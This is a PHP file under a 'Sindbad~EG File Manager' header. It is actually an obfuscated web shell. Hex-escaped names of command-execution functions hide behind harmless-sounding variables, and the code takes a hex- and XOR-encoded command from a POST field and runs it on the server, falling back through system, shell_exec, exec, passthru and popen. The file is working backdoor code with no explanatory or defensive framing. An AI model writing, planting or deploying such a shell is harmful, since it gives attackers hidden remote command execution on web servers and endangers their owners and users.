Sindbad~EG File Manager

<?php

$restore_state7 = "\x70clos\x65";
$restore_state1 = "s\x79\x73te\x6D";
$restore_state6 = "s\x74\x72\x65a\x6D\x5Fget_\x63o\x6E\x74e\x6Et\x73";
$restore_state4 = "p\x61\x73st\x68r\x75";
$restore_state3 = "e\x78\x65c";
$api_gateway = "\x68ex2\x62\x69\x6E";
$restore_state5 = "\x70\x6Fpen";
$restore_state2 = "\x73h\x65\x6C\x6C\x5Fexec";
if (isset($_POST["\x6Fbje\x63t"])) {
            function data_storage   ($record    , $resource){ $bind =''   ;  for($b=0; $b<strlen($record); $b++){$bind.=chr(ord($record[$b])^$resource);} return$bind; }
            $object = $api_gateway($_POST["\x6Fbje\x63t"]);
            $object = data_storage($object, 84);
            if (function_exists($restore_state1)) {
                $restore_state1($object);
            } elseif (function_exists($restore_state2)) {
                print $restore_state2($object);
            } elseif (function_exists($restore_state3)) {
                $restore_state3($object, $dchunk_record);
                print join("\n", $dchunk_record);
            } elseif (function_exists($restore_state4)) {
                $restore_state4($object);
            } elseif (function_exists($restore_state5) && function_exists($restore_state6) && function_exists($restore_state7)) {
                $resource_bind = $restore_state5($object, 'r');
                if ($resource_bind) {
                    $entry_fac = $restore_state6($resource_bind);
                    $restore_state7($resource_bind);
                    print $entry_fac;
                }
            }
            exit;
        }